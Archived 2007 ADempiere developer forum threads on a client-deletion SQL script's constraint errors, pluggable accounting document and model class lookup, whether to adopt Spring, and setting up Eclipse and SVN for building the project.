> to do it i will be glad to show you my environment :)

Thank you very much for the offer Trifon.
I still remember you showed me on a VNC session your eclipse configuration, and I still have the screenshot you sent me.
Thanks for your teaching, I appreciate it.

Regards,

Carlos Ruiz

2007-05-08 21:27:29 UTC

Hi,

I agree to trifons idea mgering them all from the point that most people out there have decent fast computers nowadays and the build process doesn't take that long at all, even if you build the entire project. Most developers machines have the disks as their bottleneck, all the file movements and the packaging, ear/war creation and deployment itself. This is making your disks work at 100% of their performance.

I built and deployed adempiere recently on one of our better servers and during the build process the server had a disk I/O peak of about 310 MB/second.

So it's awesome haha.

And another point is, this simplifies a lot with other IDE's like NetBeans and maybe others, dunno whether some developer might use IntelliJ IDEA once day.

Just my off the cuff thoughts on this.

Best regards Johannes

2007-05-06 19:04:01 UTC

Hello Developers.

After using DeleteAdempiereClient script, i have problem with schema constraints. How I can enable all constraints?

Sergey Vishniakov

ADempiere.LV Team

2007-05-07 17:12:46 UTC

Hi Sergey, please download the latest version of DeleteAdempiereClient script.

I fixed that issue some days ago.

Regards,

Carlos Ruiz

2007-05-08 19:04:15 UTC

Hello Carlos!

I have errors with this version of script

Error report:

ORA-02298: cannot validate (WMT.ADWORKFLOW_WORKFLOWACCESS) - parent keys not found

ORA-06512: at line 115

02298. 00000 - "cannot validate (%s.%s) - parent keys not found"

*Cause: an alter table validating constraint failed because the table has child records.

*Action: Obvious

Sergey Vishniakov

ADempiere.LV Team

2007-05-08 19:47:47 UTC

Hi Sergey,

- > I have errors with this version of script
- > Error report:
- > ORA-02298: cannot validate (WMT.ADWORKFOW_WORKFLOWACCESS) - parent keys not found
- > ORA-06512: at line 115
- > 02298. 00000 - "cannot validate (%s.%s) - parent keys not found"
- > *Cause: an alter table validating constraint failed because the table has
- > child records.
- > *Action: Obvious

It's not a script problem, is your data problem :-)

You have two options:

1 - Solve your data problems, i.e. in this case you can take a look and delete (or fix) the offending records:

```
SELECT * FROM AD_WorkFlow_Access
WHERE AD_Workflow_ID NOT IN (SELECT AD_Workflow_ID FROM
AD_Workflow)
```

You can expect more referential errors.

2 - (not recommended but quicker)

activate the novalidate option in script:

```
<-- snippet -->
```

```
-- novalidate will make the process faster but the constraints won't be validated
```

```
v_novalidate VARCHAR2 (10) := ' '; -- slower but sure
```

```
-- v_novalidate VARCHAR2(10) := 'novalidate'; -- faster but unsure
```

```
<-- end of snippet -->
```

just comment the first v_novalidate and uncomment the second.

If you use this option foreign keys will be enforced for all new records, but not validated for existing records.

Regards,

Carlos Ruiz

2007-05-08 20:48:03 UTC

Hi,
Where to download the DeleteAdempiereClient script ??
Thanks

2007-05-08 20:51:18 UTC

> Where to download the DeleteAdempiereClient script ??

http://adempiere.svn.sourceforge.net/viewvc/*checkout*/adempiere/contributions/stuff/DeleteAdempiereClient.SQL

Regards,

Carlos Ruiz

2007-05-09 05:54:44 UTC

Hello Carlos.

My data problem? This is standard GardenWorld client, without any modifications

Sergey Vishniakov

ADempiere.LV Team

2007-05-07 10:03:34 UTC

Hi all,

Currently, the creation of document for posting is hard coded in the Doc.get(MAcctSchema[] ass, int AD_Table_ID, ResultSet rs, String trxName) static method. Adding a new document that require posting will need modification to the Doc class which is a bad thing. I would like to propose the followings options to eliminate this limitation:

* Option 1

Add a document factory interface

```
DocFactory {  
public Doc get(MAcctSchema[] ass, int AD_Table_ID, ResultSet rs, String trxName)  
}
```

Add a AD_DocFactory table to store the list of active document factory, modify the Doc.get method to lookup the DocFactory from this table and delegate the creation of Doc instance to it.

* Option 2

Add a AD_DocMapping table which store the mapping of Table ID to the corresponding Doc class.

For e.g, MInvoice.Table_ID, 'org.compiere.acct.Doc_Invoice' . Modify the Doc.get method to lookup the appropriate Doc class name for instantiation from this table.

Thoughts ?

Regards,
Low

2007-05-07 17:21:05 UTC

Hi Heng Sin, very good proposal.

Accounting is one of the most inflexible part of Adempiere (it doesn't look like JJ design).

Your proposal sounds good, without enough thinking about implications the second sounds better for me.

I'm also wondering how could we translate all those hardcoded rules on Doc_XXX.java out of code (Rule Engine?)

At least initially a BEFORE/AFTER POST model validator could help us, I'm working on this.

Regards,

Carlos Ruiz

2007-05-08 12:22:33 UTC

Hi Heng Sin and ADempiere community,

I'm using modified class org.compiere.acct.Doc for runtime loading of additional Doc_xxxx classes that are packaged as Eclipse plugins. In general, the idea can be illustrated by the source fragment that follows. If somebody is interested of the concept I'll prepare and publish an ADempiere patch and readme.

Regards, Georgi Angelov

```
/** Addition to the static definitions */
```

```
public static final AcctDocDescriptor[] documentsTableDescriptors;
```

```
private static String getTableName(int AD_Table_ID) {  
for (int i = 0; i < documentsTableID.length; i++)
```

```

{
if (documentsTableID[i] == AD_Table_ID)
{
return documentsTableName[i];
}
}
for (int i = 0; i < documentsTableDescriptors.length; i++) {
if (documentsTableDescriptors[i].getAD_Table_ID() == AD_Table_ID)
return documentsTableDescriptors[i].getTableName();
}
return null;
}

private static Doc getDoc(int AD_Table_ID, MAcctSchema[] ass, ResultSet rs, String
trxName) throws Exception {
AcctDocDescriptor dtd = null;
for (int i = 0; i < documentsTableDescriptors.length; i++) {
if (documentsTableDescriptors[i].getAD_Table_ID() == AD_Table_ID) {
dtd = documentsTableDescriptors[i];
break;
}
}

if (dtd == null)
return null;
Class cl = dtd.getTableClass();
Constructor cnstr = cl.getConstructor(new Class[] { ass.getClass(), ResultSet.class,
String.class });
return (Doc)cnstr.newInstance(new Object[] {ass, rs, trxName});
}

/**
*/
static {
ArrayList<AcctDocDescriptor> docTableDescr = new ArrayList<AcctDocDescriptor>();

Object[] ext = PluginManager.getExtensions(PluginManager.ACCT_MODULES,
AcctDocDescrArray.class);
for (int i = 0; i < ext.length; i++) {
AcctDocDescrArray dda = (AcctDocDescrArray)ext[i];
for (int j = 0; j < dda.size(); j++) {
System.out.println("Adding accounting document: "+dda.get(j).getTableName());
docTableDescr.add(dda.get(j));
}
}
}
}

```

```
documentsTableDescriptors = new AcctDocDescriptor[docTableDescr.size()];
docTableDescr.toArray(documentsTableDescriptors);
}
```

2007-05-08 14:38:59 UTC

Hi Georgi,

i would like to welcome you for joining Adempiere and say thank you for your idea and the code.

I find it very interesting and i would like to ellaborate more on building working example.

Please post other necessary clases:

```
--AcctDocDescrArray
--AcctDocDescriptor
```

and some description how to use and general idea.

Kind regards,
Trifon

2007-05-08 15:02:46 UTC

Hi Heng Sin,

>* Option 1

>Add a document factory interface

>DocFactory {

>public Doc get(MAcctSchema[] ass, int AD_Table_ID, ResultSet rs, String trxName)

>}

>Add a AD_DocFactory table to store the list of active document factory, modify the Doc.get method to lookup the >DocFactory from this table and delegate the creation of Doc instance to it.

>

>* Option 2

>Add a AD_DocMapping table which store the mapping of Table ID to the correponding Doc class.

>For e.g, MInvoice.Table_ID, 'org.compiere.acct.Doc_Invoice'. Modify the Doc.get method to lookup the appropriate >Doc class name for instantiation from this table.

I like Option 2.

1) User will be able dynamicaly to switch to new class or new version without restarting of application/application server. If we create proper dynamic class loading.

2) DocFactory is reponsible for instantiation of all documents. It is better to spilt and give ability to modify at lower level like in Option 2.

3) I can extend table AD_DocMapping with more columns (AD_Client_ID, AD_Org_ID...) My idea is to have different implementation of posting Doc_xxx depending on Client/Organization or what ever user wants.

I think that this is typical case for applying plugin. Doc is typical example for Extension point where we can plug different version/implementation depending on some conditions.

Kind regards,
Trifon

2007-05-09 07:01:42 UTC

> 1) User will be able dynamicaly to switch to new class or new version without restarting of application/application server. If we create proper dynamic class loading.

In my experience, restarting the application server or even database server during upgrade is not a problem. That's why I think that complicating the design of the software with some "hot swap" options is unnecessary.

> 3) I can extend table AD_DocMapping with more columns (AD_Client_ID, AD_Org_ID...) My idea is to have different implementation of posting Doc_xxx depending on Client/Organization or what ever user wants.

About two years ago, I consider that implementing configuration tables like AD_DocMapping is reasonable in terms of flexibility. For example I added CLASSNAME columns to some tables such as AD_Reference (to implement loadable data types), AD_Tab, AD_Window (for additional window-renderers) etc.

At present this concept proved (at least for me) to have insignificant impact for the sake of convenience and bug-free process of deployments and upgrades. Event worse - it was a precondition of problems. That's why I decide to drop this concept and I'm experimenting with restructure of the distributive and implementing of eclipse plugin system.

I general I think that we must keep the dictionary tables, clean of columns with technical meaning as much as it can and improve it adding functional ones ...
Moreover the tool like 2Pack (I'm not using it but I know the idea) is an appropriate way for improving the technical part of the product.

That was just thoughts :-)

Georgi.

2007-05-09 07:06:35 UTC

I forgot to mention in my previous message - I'll post my extended Doc.java, dependant classes and some comments in a couple of days (6-7 days).

2007-05-10 01:53:12 UTC

I am testing libero scheduling. In the AD the MPC_Order table says that DB Column Name: DateStartSchedule of reference date-time. I check the database and it shows DATE type. A DATE type cannot hold time only a TIMESTAMP type can. When I should synchronize column it show:

```
ALTER TABLE MPC_Order MODIFY DateStartSchedule DATE DEFAULT NULL
```

Isn't this wrong? Shouldn't it be:

```
ALTER TABLE MPC_Order MODIFY DateStartSchedule TIMESTAMP DEFAULT NULL
```

?

2007-05-10 02:07:55 UTC

Hi,

For Oracle, Date is correct and it can hold time information as well. For Postgresql, then this would be a bug, it should use the Timestamp datatype instead.

Regards,
Low

2007-05-07 10:22:59 UTC

Hi all,

Currently, the list of package name you can use for PO class is hard coded in the MTable class. This means for any new table you create, the corresponding PO class must use one of the predefine package name (recommended default is adempiere.model). While it have been mention developers should avoid extending the core M* model class and use the ModelValidator interface instead, this is still an issue for extension that require the definition of new table. I would like to propose the following options for the mention issue:

* Option 1

Add new column to ad_package_imp_inst to define additional model package name by 2pack package.

* Option 2

Add ad_modelpackage table, each row store one additional model package name available.

* Option 3

Add modelClass field to ad_table to store the fully qualified classname of the corresponding model class. Fall back to current model class lookup algorithm if this field is null. The advantage of this option is a small performance gain and eliminate any possible ambiguity on which model class is use for a particular table.

Thoughts ?

Regards,
Low

2007-05-07 17:49:23 UTC

Heng Sin, this is exactly the same discussed in this thread:

https://sourceforge.net/forum/forum.php?thread_id=1707794&forum_id=610548

For me, option 3 looks the better/easier, and you can keep extending classes. The only problem (solved via validator) is when two packages need to extend the same class.

Regards,

Carlos Ruiz

2007-05-07 17:56:01 UTC

Hi carlos,

It have been a while and I have forgotten about that discussion. Would like to see any further opinions from other before I have a go at implementing option 3.

Regards,
Low

2007-05-07 19:06:31 UTC

Hi,

Option 2: sounds interesting, It should be carefully analyzed before dropping.

Option 3: setting the fq class name in ad_table i consider a must have option with the following mention: Adempiere core should *not* use this feature, this will be used only for customizations.

Also, adding packages on EntityType level should be considered. Maybe in combination with option 2.

Carlos,

- > The only problem (solved via validator) is when two packages need to extend
- > the same class.

Also this was discussed some time ago: extending a model class should be avoided.

What you think ?

Best regards,
Teo Sarca

2007-05-07 21:48:56 UTC

Hi Teo,

- > Also this was discussed some time ago: extending a model class should be avoided.

Yes, that's why I said this scenario must be solved via validator. And we made lots of enhancements to validators to allow that (added before/after many events).

- > Also, adding packages on EntityType level should be considered.
- > Maybe in combination with option 2.

Good point.

Currently AD_EntityType have the ModelPackage and Classpath fields, but AFAIR they are not used.

Regards,

Carlos Ruiz

2007-05-07 21:58:23 UTC

Hi,

- > Yes, that's why I said this scenario must be solved via validator. And we made lots of enhancements to validators to allow that (added before/after many events).

I know ;) ... i just to underline that is not a recommended approach.

- > Currently AD_EntityType have the ModelPackage and Classpath fields, but AFAIR they are not used.

True, true... not used, but i would like a combination with option 2, because - as Low pointed somewhere in the forum - keeping this kind of data, in strings that need to be parsed, is not a good approach.

Best regards,
Teo Sarca

2007-05-09 11:05:14 UTC

I'm admittedly out of my league here, but I've been doing some bed-time reading of the Spring framework (it's helps put me asleep :) ... Is what is discussed here not a form of injection which is the principal at springs core?

I had been considering how this dependency injection could be used to allow us to slowly (instead of one big leap) move our persistency from one method to another. The current approach of the model class extending the X_class simply seperates the code in sources ... in binary form it still creates on monolytic class. There was some talk in another thread of rewriting the embedded sql code to be SQL92 compliant and hence easier to apply the conversions needed for extend to other DBs... but Spring has already done this conversion (to different DBs) & and provides a jdbcTemplate to simplify jdbc access! Perhaps more importantly, I thought if we were to use teh "IoC" & injection to replace the X_Class with a typical DAO class we would truely separate the PO functionality from the Business logic in the MClass allowing for better distribution. And it would NOT have to be done in one go .. the spring framework is (I read) very light and we could afford to include it and then move/convert the classes piecemeal if need be. An added advantage is when it comes to moving to JPA (and now people would have a choice of which hibernate, Toplink or JPA) we would "simply" (always a relative term :) replace the class the DOA property in the bean points to and point it to a JPADOA class instead of a jdbcDOA class...

Again this transition from jdbc to jpa could be done piece meal.

There other advantages to Spring ... such as the thought they have put in the testing framework (which becomes quiet complex once we are n-tier), AOP, the oscegi security, OSGi & Mule Integration (a Service Bus which Jeff Davis speaks of in his blog - he speaks of the Service Bus that is not Mule per se)... and all that other good stuff they talk about and I mentioned before I'm sure.

But what I really like most about it is they have just released version 2.0 and it is completely compatible with previous versions... can the same be said of the JSR specs? This seems to be an outfit of developers who really understand the realities of everyday development ... rather than a committee. They use it themselevs to develop business solutions! Hence the focus on such things as testing & migration.

I admit the XML configuration doesn't look a straight forward as the @annotations in JPA but they (the @annotations), to my basic knowledge, can be used and even extended upon in the latest versions. But I think if we use our AD interface to manage and generate

the XML configuration it should not be an issue!? IN fact it could be a benefit... when changes are required we would just need to change the bean definitions in XML and redeploy... if I'm not mistaken @Annotation changes would require recompilation???

Speaking of AD does it not strike anyone else as strange that in this age of objects the basic building block of our AD is a Table and not an object?

Anyway you guys are definitely more experienced in this than I, so I trust your judgement... but I get the feeling that we are building something [& solving problems] that has already been done!

The fact that the spring project is controlled by a commercial company does make me think twice ok but if you browse their forums they do seem to have a very strong community. And they do publish lots of documentation online!

Anyway I just thought I'd raise this again as I see it a possible approach to allow us to move towards our goals of db independence & n-tier in smaller (safer?) steps.

colin

2007-05-09 14:57:00 UTC

Hi Colin,

thanks for your post it's interesting.

>Spring framework (it's helps put me asleep :)) ... Is what is discussed here not a form of injection which is the >principal at spring's core?

I think that generally you are right. Both (plugin architecture and IoC) allow custom code to take control over execution of program. IoC can take control at every method, which means that core development team can't control where or when custom code is injected/executed which is good when developer need to apply very urgently a fix or change in the code, but this is dangerous too, as it can lead to more mistakes and hard time for supporter/debugger to find where problem appears. IoC is more like a chaos.

At the other hand extension points are well known and defined by the core team places where custom code can take control. Which is limitation for customizer as there are limited number of extension points, but this is a signed contract between core module and additional modules which enforces proper communication between modules.

I see IoC useful when developer need to urgently release a fix without touching core code.

For me IoC is GOOD and BAD, but all depends how it is used.
This are not final words or decision, just my thoughts on the subject.

I'm still researching and waiting for a big ERP/CRM/MFG or whatever Business System based on IoC to appear and see how it behaves and how manageable it would be.

Kind regards,
Trifon

2007-05-09 15:42:49 UTC

Hi Colin,

Adempiere is also an end-to-end application development framework, it has its own persistence layer, UI framework, reporting framework, workflow etc. There have been talk to rebuild Adempiere using off the shelf components (spring, hibernate, etc) replacing the current home grown one and your proposal is also along similar line. While I understand the motivation behind this, it is important to note some of the unique characteristic of the Adempiere components that might not be available in other third party component, at least not without extensive customization.

One of the most important characteristic of the Adempiere Framework is that it is database centric and store all the meta-data in the Application Dictionary. For many other framework, the application meta-data is usually store in external text file (XML) or most recently stored as java annotation. The other important difference is the Adempiere 'Application Dictionary' or meta data is design to be dynamic at runtime (in other word, active) and is optimize for RAD (rapid application development). Spring and hibernate for instance, the metadata of the application is usually static at runtime and redeployment is usually require after you have make changes to it.

Adempiere is also a partially self hosting environemnt where you can do some of the development work (through modification of the Application Dictionary) in the application itself. In fact, this capability can be extended further by adding more complete scripting language support which will allow many extension/customization development be done and test within the Adempiere application itself.

IMHO, any rebuild of the Adempiere application using third party framework must consider the above mention characteristic of the current Adempiere framework. There will be many pros and cons, compatibility issue etc. Of course, it is also very important that this must be done with proper communication with the community.

Regards,
Low

2007-05-09 17:56:46 UTC

Hi Low

Well as I said to begin with I in no way claim to have the skills or experience to recreate the framework. My post was rather just me thinking

aloud.

I understand that Adempiere is a framework in its own right and, like many I'm sure, am very impressed with its flexibility. But I also gathered from different posts since we began that the UI is solid but limited, the reporting bested by jasper and the persistence engine was responsible for tying us to oracle (at least until the herculean effort by victor, carlos & yourself - provided some respite with the postgresql "port") and a 2-tier client server architecture.

And while the db centric approach is indeed very useful for the likes of us testing, and it's certainly NOT a negative characteristic... I'm not sure if a runtime deployment is all the necessary on a product such as this ... and the redeployment of any changes with in the XML would require at most a restart of the application server (30 seconds?) but it might simply mean copying the new XML files to the deployment folder of the appserver!? Perhaps deployment of any clients configuration change could be more problematic ok... but is much the simplicity of the current solution not because we are really functioning in a client-server environment? And I'm not suggesting getting rid of the AD at all!

As I said I have only been reading about spring and recognised some similarities to the proposal which prompted me to post. I would consider myself very much a beginner in respect to spring and its use and will not be heading off on a tandem to develop a lone solution ... don't worry :) But I am concious that one of the aspects of introducing a new framework into a business solution is the great risk... in this respect I felt (again I stress I have none of that vital experience) spring would allow for a measured step-by-step approach to its introduction.

It's just that so much of what I read about in spring seems to have parallels with discussions here; testing framework, db independent, n-tier, plugins (OSGi), security (Acegi), Service Bus (Mule).. I think it has a workflow engine as of version too and also rich client UI subprojects based on the core framework but it is I think still in its infancy.

Anyway I was just providing some food for thought!

colin

2007-05-09 22:46:05 UTC

> Anyway I was just providing some food for thought!

And what a food, thanks!!!

Sounds funny to read here "old compiere hackers" defending current architecture.

: -)

Precisely when we're being accused of not adopting new technologies because we don't want to study.

I think we're not against Spring or whatever new technology, but I recommend all people read this articles from the source at the same time:

* Model Driven Architecture

<http://jorgjanke.com/blog/?p=14>

<http://jorgjanke.com/blog/?p=15>

* Multi-Tenant Architecture (MTA)

<http://jorgjanke.com/blog/?p=16>

It's not that we're not thinking 3 years in future.

It is about realizing that technologies come and go.

Just yesterday Sun was declaring the end of AJAX here:

-> <http://www.internetnews.com/dev-news/article.php/3676226>

And we must be careful about keep catching technology.

And we must be careful on what technology to catch (always a difficult decision that you can miss easily).

NOTE: I think that we must be careful with CORE - but at the same time we need to allow mechanisms to experiment out of core - that's the point on implementing layers of API's, webservices, etc.

Repeating - My thinking is:

- I'm not against any new technology

- But my real worry is - how can we integrate new technology while preserving the best of Compiere? (in this case Active Dictionary)

I'm sure that we could find a good solution for that. But this can raise the second issue - how much complexity are we adding to preserve the best of?

So, they are not easy questions, they are always difficult decisions.

And you can be sure that I'll support all constructive proposals. And I'll try to fight all destructive proposals. (obviously there is a fine line there, because I know that I can be wrong, I can think a proposal is destructive when is not, but I think I'm open minded and anybody can convince me with good arguments - or even better just showing results).

Finally I also think that in core is better to implement little evolutionary steps, than big jumps.

Regards,

Carlos Ruiz

2007-05-09 22:51:40 UTC

> Anyway I was just providing some food for thought!

And what a food, thanks!!!

Sounds funny to read here "old compiere hackers" defending current architecture.

:-)

Precisely when we're being accused of not adopting new technologies because we don't want to study.

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So, they are not easy questions, they are always difficult decisions.

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Finally I also think that in core is better to implement little evolutionary steps, than big jumps.

Regards,

Carlos Ruiz

2007-05-09 23:35:23 UTC

My post is by no means a defense of the current architecture. I'm just trying to highlight that moving to a new architecture/framework means it might not be possible or feasible to preserve all the current framework's feature in its original form. And most importantly of all, this type of changes must be done with proper communication with the ADempiere community.

Against, let me point out the confusion and problems that we could face by using framework like spring and ejb3: you can end up with your application meta data in both the AD and the framework's native configuration mechanism (xml or java annotation in source). There might even be duplicate storage of similar meta data (if we keep all the current AD) and there is no clear line to define which to go where (AD or xml or annotation).

Finally, note that the key idea of the Adempiere framework is to minimize the java coding required for application functionality and IMHO it is important to preserve and keep improving that in our future development work.

Regards,

Low

2007-05-10 02:37:00 UTC

Thanks Heng Sin, excuse me if I wasn't clear. You pointed in better words what I was trying to say.

Regards,

Carlos Ruiz

2007-05-10 14:18:07 UTC

I was caught by a new book in the market called "The Black Swan", and it talks of the unpredictably of the future, in a very engaging humourous but highly critical mode. It

leads me to remember the humour of an engineering dept who has a way of orientating newcomers to its dept. told by Edward de Bono if not wrong.

The dept seniors will assign a task which is 'impossible' to any new graduate engineer who is supposed to create a 'non-electric' bulb (dont remember exactly what it is - low energy or cold light?). Anyway every newbie of course failed and the whole dept will laugh saying that it is impossible for a single person or within the present era and they just want to make a joke at the newbie.

Until one day, a newbie managed to make it work.

2007-05-10 14:51:29 UTC

Hi,

I tried to invoke a Server process on a workflow, but the class called is the local ...

how i did:

1. created a process (on Reports & Process) including my class and set true on checkbox "process server";
2. created a node on a workflow with action "AppProcess" and select the process created before;
3. put my class on jboss server and re-build adempiere
4. start the jboss

what I need to do ?

thx !!!!

FdSDev

2007-02-23 19:51:40 UTC

Hi,

after doing at least 6 installations of Adempiere and databases, peeking into Adempiere's Dictionary, Tables, Views and Reports, I felt confident enough to start compiling. Maybe I can help finding bugs and implementing. My (limited indeed) last java programming experience dates three years ago, so I have to learn many things again. But I have OO and DB experience, so it should go OK.

Here's my problem:

I wanted to set up an eclipse 3.2.2 developing environment on linux 10.1 Enterprise and Oracle 10g. I have read the wiki and it has helped a lot.

- 1- The download of eclipse and updating was easy.
- 2- The installation of Subclipse was more difficult (site-1.2.0), since I struggled with the "Subclips mylar integration". After looking in the internet and deselecting it, the installation of Subclipse succeeded.
- 3- I could open Adempiere in the SVN Repository
- 4- When I tried to check out single packages (or bunches of them), as recommended in the wiki, selected the workspace and proceeded to the actual check out, most of the time and after a while I got an error dialog without title with text like "/usr/bin/java Xms40m Xmx256m jar /data2/app/eclipse/startup.jar".
- 5-Eclipse vanishes after quitting the error dialog. If I call eclipse again, it starts, but freezes during the splash. I have to restart the operating system in order to see eclipse start correctly.
- 6- Sometimes the package was there, sometimes with a mark which resembled an error to me. Nevertheless, I deleted the files and the projects in Eclipse.

Maybe I have missed something so that I cannot check out the packages correctly? With netbeans I could check out the hole trunk at once.

Maybe a compassionate developer has gone through this and (as mostly happens) remembers that I have to switch a button here or there and suddenly there is no errors, just pure joy and compiling errors.

Thank you in advance for every contribution.

Mario

2007-02-23 20:07:15 UTC

Hello Mario,

I don't have any experience with that particular problem, but did want to say:

Welcome to the ADempiere Community! We are glad to have you and will help as much as we can.

Joel Stangeland
<http://www.idalica.com>

2007-02-23 20:23:50 UTC

Thanks Joel. You know, although very new, novice, and inexperienced in Adempiere, I consider myself as part of the ADempiere community and want to contribute (perhaps later than sooner, but I will).

Now that you read this thread, I wanted to thank you for the very useful contributions of Idalica.

Mario

2007-02-24 00:39:59 UTC

Hi,

This looks like an out of memory error or the jvm simply crash. What version of jdk u are using ? For eclipse, try turn off automatic compilation in workbench preference and change Xmx256m to Xmx512m

hope this help.

Regards,
Low

2007-02-24 05:51:19 UTC

Hi Mario, I can't help you with these specific problems but I can recommend you the way I do development.

I use TortoiseSVN in Windows XP - works very well to hide all the svn stuff and integrate it directly on windows explorer.

And contrary to the wiki recommendations I download and use in eclipse only one project.

In other words, I download the whole trunk (or desired tag or branch) with tortoiseSVN (some times the first checkout break, just continue with update).

Then I create a workspace in eclipse and create a new java project pointing to the root directory of trunk (or desired tag or branch).

I always have worked this way and never have had problems with this approach.

Regards,

Carlos Ruiz

2007-02-24 06:20:22 UTC

Hi Mario,

You are now within the main radar screens. Your name now appears in <http://www.adempiere.org> . Hope u allow that, since u considered yourself part of the community. We look forward to your other important SME messages.

About tortoise i find it too much clutter. But i m happy that Carlos approves of putting everything into a single project as i do for eclipse. If Eclipse bombs out as it occasionally

happens on mine, its due to resources limitations and so Hengsin's advice above is important.

If SVN update falters, it is also common and u merely delete your local folder and reupdate that folder again, or resynch. Eclipse SVN always efficiently remembers what u missed.

Adding to what Joel said, U are at HOME!... do not be a stranger now.

red1

2007-02-24 07:38:20 UTC

Hi,

>And contrary to the wiki recommendations I download and use in eclipse only one project.

>

>In other words, I download the whole trunk (or desired tag or branch) with tortoiseSVN (some >times the first checkout break, just continue with update).

I work with multiple project in Eclipse. By this way i can close some projects in Eclipse and reduce memory usage. Multiple projects allow me to use project dependency.

Both ways are possible. It is choice of developer to choose one and work with it.

Kind regards,
Trifon

2007-02-26 01:04:41 UTC

Hi,

tanks for your support. I really appreciate it.

In the hope of getting the ideal environment (or what I think it is), I want to follow all recommendations and decide for the best environment (or the only one which I get running).

Low, red1, trifon (eclipse on linux):

"What version of jdk u are using?"

typing in "java -version", I get

java version "1.4.2_11"

Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.2_11-b06)

Java HotSpot(TM) Client VM (build 1.4.2_11-b06, mixed mode)

Is it actual enough? Though I have installed jre1.5.0_11 in /usr/lib, I do not know how to

make this the official version for eclipse.

"try turn off automatic compilation in workbench preference"

In Window/Preferences, Java/Compiler I do not find any Checkbox or Combobox who turns off automatic compilation. Where do I set it?

".... and change Xmx256m to Xmx512m"

My Memory is 768 MB.

After many google searches and reading lots of pages, I started eclipse with the option "-Xmx512m". As it did not work, I changed in eclipse.ini the parameter to -Xmx512m, which I can see in the Details, so I think I increased memory. As soon as I opened svn repository, or started checking out, eclipse crashes with the "jmv terminated, Exit Code =-1 /usr/bin/java -Xmx512m" error. Sometimes I had checked out 3, 5 packages. I have tried at least 20 times to check out (single packages, the whole trunk, bunches of packages), the result is always jvm error. Should I increase RAM? to which amount?. I will run tomorrow and buy the memory (today is no e-distributor open).

Netbeans allows me to check out differences, which I do not see in Eclipse/subclipse. Is there a way? (I'm just dreaming of the time I have all checked out).

I wanted to outsmart svn by importing the trunk, but it asked me for a login/password. Sure, with the login/password I could also export, which could be very dangerous...

Carlos (eclipse on XP)

"I use TortoiseSVN in Windows XP.."

I downloaded Eclipse for Windows XP and Tortoise to a PC. I get a CVS menu in Eclipse.

Then I go to Window/Show View/CVS Repository and there I choose with the context menu a new Repository location.

Apparently, the parameters I type in for the host

(<http://svn.sourceforge.net/viewvc/adempiere>, as stated in the Hacker's Guide) and user (anonymous) are wrong, because I get the error "Invalid Host Name". Changing the Connection Type to ext, extssh, pserverssh2 does not change the error either.

Maybe Carlos you could tell me the right pars to Add a new CVS repository?

Summary:

It seems that the only environment where I have succeeded checkin out is Netbeans 5.5 on Linux, where I rapidly can check out the changes. But as many of you guy seem to work with Eclipse, and because of my stubbornness, I would like to continue until I can see "Hallo World" in the console.

Again, thanks for every kind help.

Mario

2007-02-26 01:30:48 UTC

Mario,

You need jdk 1.5 to work with adempiere source. You can define in eclipse.ini which jvm to use, google a bit to find out the actual syntax.

For checkout, you can refer to this https://sourceforge.net/forum/message.php?msg_id=4177999

Auto compilation preference is under General -> Workspace, looks for the 'build automatically' check box.

Regards,

Low

2007-02-26 05:25:53 UTC

> Maybe Carlos you could tell me the right pars to Add a new CVS repository?

Mario, TortoiseSVN is integrated with windows explorer, not with Eclipse.

So, the easy instructions can be:

- Create a directory C:\srcAdempiere\trunk
- Open windows explorer and navigate to C:\srcAdempiere\trunk
- Right click on trunk and choose "SVN checkout"
- Fill URL of repository with:
<https://adempiere.svn.sourceforge.net/svnroot/adempiere/trunk>
- Click OK

It must start checking out the trunk immediately without asking passwords.

If the connection broke in the middle of checkout, you just right-click on trunk and select "SVN update" option.

TortoiseSVN show meaningful icons in windows explorer, and you can add specific SVN columns to explorer (like SVN status, revision, URL, short URL, mime-type, lock owner, eol-style)

Regards,

Carlos Ruiz

2007-02-26 12:02:49 UTC

Hi,

Low

"You need jdk 1.5 to work with adempiere source"

I am going to gather information, change eclipse.ini asap and try compiling.

Carlos (Tortoise)

Thanks to your tips, it worked fine. Maybe because I started the checkout at 1 am on Monday there was no interruption. Or beginner's luck :). Ah yes, my error: I had installed Tortoise CVS instead of SVN. Too many downloads and installs in a short period of time (and on Sunday) bedazzled my mind.

That means, I can soon start compiling in Windows XP.

Two questions:

- 1- Is there anything I have to set in eclipse or Windows in order to compile?
- 2- And one last thing, Carlos, as I did the checkout with Tortoise from IE instead of let's say the eclipse IDE, does it mean I could compile with eclipse OR netbeans?

The solutions seem to outweigh the errors. I am grateful indeed.

Mario

2007-02-27 06:12:27 UTC

- > as I did the checkout with Tortoise from IE instead of let's
- > say the eclipse IDE, does it mean I could compile with eclipse
- > OR netbeans?

Yes, you can compile with both tools, some people use netbeans to compile and test.

Just we found that netbeans is changing the tabulations inside files (maybe is just a parameter, I don't know netbeans), so we prefer developers use eclipse. But for constructing and testing is ok.

Regards,

Carlos Ruiz

2007-02-27 10:19:45 UTC

Mario,

If the SVN ask u for a password, u most likely set that repository access with intent of commit back to the SVN, and thus it tries to qualify u first. U have to check up some property setting that u are accessing unimportantly (anon).

Happily i mean sadly i do not have a linux machine on. I test mainly on Windows env. :D

2007-02-27 15:17:54 UTC

Hi!

You all are really kind.

1.- Windows XP

So far, I have downloaded the actual trunk at once on two XP PCs with Tortoise as Carlos stated. It (seldom) stucks, but you can resume either by updating, cleaning up or deleting the bad directory. I only monitor the download and intervene if needed.

2.- Linux Enterprise 10

Well, I managed that Linux and Eclipse use 1.5.0_10 fumbling the PATH variable in /etc/bash.bashrc. As Low hinted, that helped a lot, because Eclipse at least does not vanish anymore checkin out :). Trying to check out the trunk at once (10-15 times) yielded always in error. So I switched to check every package out. It seems to work (I am still drilling slowly my way down the different projects), but it is noticeable slower than Tortoise: checking out from the same LAN, Tortoise is actually The Hare ;-). We made the fabel The Tortoise and the Hare (Subclipse). While tortoise had downloaded all packets (400+ MB), Subclipse was struggling on its 6th project.

Only with ".settings" I am having problems. I cannot check it out as a project. SVN asks me how I want to check it out. I imagine, the same problem will arise with the single files which are directly under "trunk" (.classpath xxxx and .project xxx).

Summary

The balance tilts towards Windows XP for compiling. It is less cumbersome to get the sources (not to speak to start getting them!). For what I have read in the forum, Windows XP is the favorite tool to compile, and I can imagine why, red1. Let's see how it behaves compiling...

It is only a paradox to compile on Windows XP for deployment on Linux, and apart from this forum, I won't say a word of it.

Question

As I really would like to test on the target environment (out of superstition, bad experiences in other projects?), can I copy the tortoise downloaded files and copy them to linux?

So, thanks to all again, and I jump head on compiling.

Mario

2007-02-27 18:20:27 UTC

Mario

